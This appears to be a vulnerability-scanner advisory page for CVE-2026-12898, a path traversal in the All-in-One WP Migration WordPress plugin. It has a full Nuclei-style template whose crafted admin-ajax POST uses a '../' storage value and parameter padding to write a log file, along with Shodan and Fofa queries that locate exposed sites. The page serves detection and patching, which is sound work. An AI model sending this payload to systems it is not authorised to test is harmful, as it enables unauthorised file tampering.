SecurityContext

CVE-2026-12898: All-in-One WP Migration and Backup < 7.106 - Arbitrary Log File Write

Classification

  • Cwe: CWE-22
  • Cvss score: 6.5
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
  • Epss score: 0.01352
  • Epss percentile: 0.72284
  • Not known: cpe

Metadata

  • Fofa-query: body="/wp-content/plugins/all-in-one-wp-migration/"
  • Framework: wordpress
  • Max-request: 3
  • Product: all-in-one-wp-migration
  • Publicwww-query: /wp-content/plugins/all-in-one-wp-migration/
  • Shodan-query: html:"/wp-content/plugins/all-in-one-wp-migration/"
  • Vendor: servmask
  • Verified: yes

Products

ProductIndexedUrl
servmask:all-in-one-wp-migrationno—

Labels

  • Name: All-in-One WP Migration and Backup WordPress plugin - Path Traversal
  • Impact: Unauthenticated attackers can create or modify log files in arbitrary locations, potentially leading to data tampering or system compromise.
  • Remediation: Update to version 7.106 or later.
  • Vulnerability type: path_traversal
  • Vulnerability impact: data_tampering
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2026-12898
  • Not known: requirements

```yaml

id: CVE-2026-12898

info:

name: All-in-One WP Migration and Backup < 7.106 - Arbitrary Log File Write

author: iamatownboy

severity: medium

description: |

The All-in-One WP Migration and Backup WordPress plugin before 7.106 does not properly sanitise a user-supplied value before using it to build a file path. This makes it possible for unauthenticated attackers to create or append a log file in arbitrary locations outside the intended storage directory.

impact: |

Unauthenticated attackers can write log files outside the plugin storage directory, potentially leading to information disclosure or further compromise.

remediation: |

Update All-in-One WP Migration and Backup to version 7.106 or later.

reference:

- https://wpscan.com/vulnerability/c90553e4-8e1a-4c99-a28f-a0de8d635caa/

- https://wordpress.org/plugins/all-in-one-wp-migration/

- https://nvd.nist.gov/vuln/detail/CVE-2026-12898

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

cvss-score: 6.5

cve-id: CVE-2026-12898

epss-score: 0.01352

epss-percentile: 0.72284

cwe-id: CWE-22

metadata:

verified: true

max-request: 3

vendor: servmask

product: all-in-one-wp-migration

framework: wordpress

shodan-query: html:"/wp-content/plugins/all-in-one-wp-migration/"

fofa-query: body="/wp-content/plugins/all-in-one-wp-migration/"

publicwww-query: "/wp-content/plugins/all-in-one-wp-migration/"

tags: cve,cve2026,wordpress,wp,wp-plugin,all-in-one-wp-migration,traversal,log-write

variables:

logname: "{{rand_text_alpha(8)}}"

padding: "{{repeat('p=1&', 5200)}}"

flow: http(1) && http(2) && http(3)

http:

- method: GET

path:

- "{{BaseURL}}/wp-content/plugins/all-in-one-wp-migration/readme.txt"

matchers:

- type: dsl

dsl:

- contains(body, "All-in-One WP Migration")

- compare_versions(version, "< 7.106")

condition: and

internal: true

extractors:

- type: regex

name: version

part: body

group: 1

regex:

- '(?i)Stable tag:\s*([0-9.]+)'

internal: true

- raw:

- |

POST /wp-admin/admin-ajax.php HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

action=ai1wm_export&secret_key=invalidkey&storage=/../../../../uploads/{{logname}}&{{padding}}end=1

matchers:

- type: dsl

dsl:

- status_code == 200

internal: true

- method: GET

path:

- "{{BaseURL}}/wp-content/uploads/{{logname}}.log"

matchers:

- type: dsl

dsl:

- status_code == 200

- contains_any(body, "Input variables exceeded", "PHP Request Startup")

condition: and

digest: 4a0a00473045022100d3fe60d16998dc0bfeb065bb8646df6b3d2505ac7143415bb0fff4cb5dccf0bc022013f5d2c953318469343af798cbaa814682d2a84f1b4044584e60c87a1dba93c3:922c64590222798bb761d5b6d8e72950

```